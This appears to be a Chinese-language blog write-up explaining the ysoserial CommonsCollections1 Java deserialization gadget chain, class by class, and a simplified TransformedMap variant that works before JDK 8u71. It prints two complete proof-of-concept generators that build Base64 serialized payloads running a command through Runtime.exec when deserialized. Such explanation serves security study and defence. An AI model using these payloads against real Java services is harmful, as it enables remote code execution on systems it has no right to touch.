ysoserial中的CommonsCollections1链
Transformer接口
在Commons Collections
库中存在一个Transformer
接口,接口中有一个transform()
方法:
package org.apache.commons.collections; public interface Transformer { Object transform(Object var1); }
在Commons Collections1
这条链中使用到了3种实现了Transformer
接口的类
ConstantTransformer
这个类的的transform()
方法可以返回一个Object类型的对象
public Object transform(Object input) { return this.iConstant; }
InvokerTransformer
这个类的transform()
方法可以利用反射调用传入的input类的任意方法并返回执行结果
public Object transform(Object input) { if (input == null) { return null; } else { //somecode Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //somecode } }
ChainedTransformer
这个类内部存在一个Transformer
数组,在其transform()
方法中有一个循环,分别调用每个Transformer
的transform()
方法并将结果传入下一次循环作为输入:
public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
通过这个类的transform()
方法可以实现链式调用多个Transformer
处理对象。
LazyMap
LazyMap
是一个集合,LazyMap
在调用get()
方法时如果传入的key值不存在,则会调用factory.transform()
去创建value,然后就能触发Transformer
的transform()
方法
public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
AnnotationInvocationHandler
这个类有实现Serializable
接口,重写了readObject()
方法,但readObject()
方法中并不能直接能调用到get()
方法。
在8u71版本以前它的invoke()
方法可以调用到LazyMap
的get()
方法:
public Object invoke(Object proxy, Method method, Object[] args){ //somecode Object var6 = this.memberValues.get(var4); //somecode }
在ysoserial的这条链中使用了动态代理封装LazyMap
,在调用readObject()
方法时有一处调用了this.memberValues.entrySet()
方法:
private void readObject(java.io.ObjectInputStream s){ //somecode Iterator var4 = this.memberValues.entrySet().iterator(); //somecode }
而this.memberValues
作为代理对象,在调用任意方法时会都进入到AnnotationInvocationHandler#invoke
方法,然后就能调用到LazyMap
的get()
方法
完整代码
payload构造如下:
String[] cmd = new String[]{"calc"}; Transformer[] tfs = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmd}) }; ChainedTransformer ctf = new ChainedTransformer(tfs); Map lazymap = LazyMap.decorate(new HashMap(), ctf); Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler") .getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler ih = (InvocationHandler) ctor.newInstance(Override.class, lazymap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, ih); InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, proxyMap); //生成payload ByteArrayOutputStream bos = new ByteArrayOutputStream(); new ObjectOutputStream(bos).writeObject(handler); String paylaod = new String( Base64.getEncoder().encode(bos.toByteArray()) ); System.out.println(paylaod); //验证payload ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream( Base64.getDecoder().decode(paylaod) ) ); ois.readObject();
简化版CC1
前面这条链是ysoserial中的CC1链,在《Java安全漫谈》中使用了TransformedMap
对CC1这条链进行简化。
这里没有使用LazyMap
而使用TransformedMap
来触发transform()
方法。只要调用TransformedMap
的put()
方法放入新的元素或者使用MapEntry
的setValue
对value进行修改时就可以触发Transformer
的transform()
方法:
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
在AnnotationInvocationHandler
的readObject()
方法中有获取TransformedMap
的MapEntry
然后使用setValue()
方法对value
进行修改:
Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } }
于是这里可以触发transform()
方法。
完整的POC如下:
String[] cmd = new String[]{"calc"}; Transformer[] tfs = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmd}) }; ChainedTransformer ctf = new ChainedTransformer(tfs); Map innerMap = new HashMap(); innerMap.put("value","xxx"); Map tfm = TransformedMap.decorate(innerMap,null,ctf); Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler") .getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler ih = (InvocationHandler) ctor.newInstance(Retention.class, tfm); ByteArrayOutputStream bos = new ByteArrayOutputStream(); new ObjectOutputStream(bos).writeObject(ih); String paylaod = new String( Base64.getEncoder().encode(bos.toByteArray()) ); System.out.println(paylaod); ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream( Base64.getDecoder().decode(paylaod) ) ); ois.readObject();
在JDK8u71版本之后AnnotationInvocationHandler#readObject
的源码有一些变化,所以这条链在高版本下无法使用。
Referer
https://github.com/phith0n/JavaThings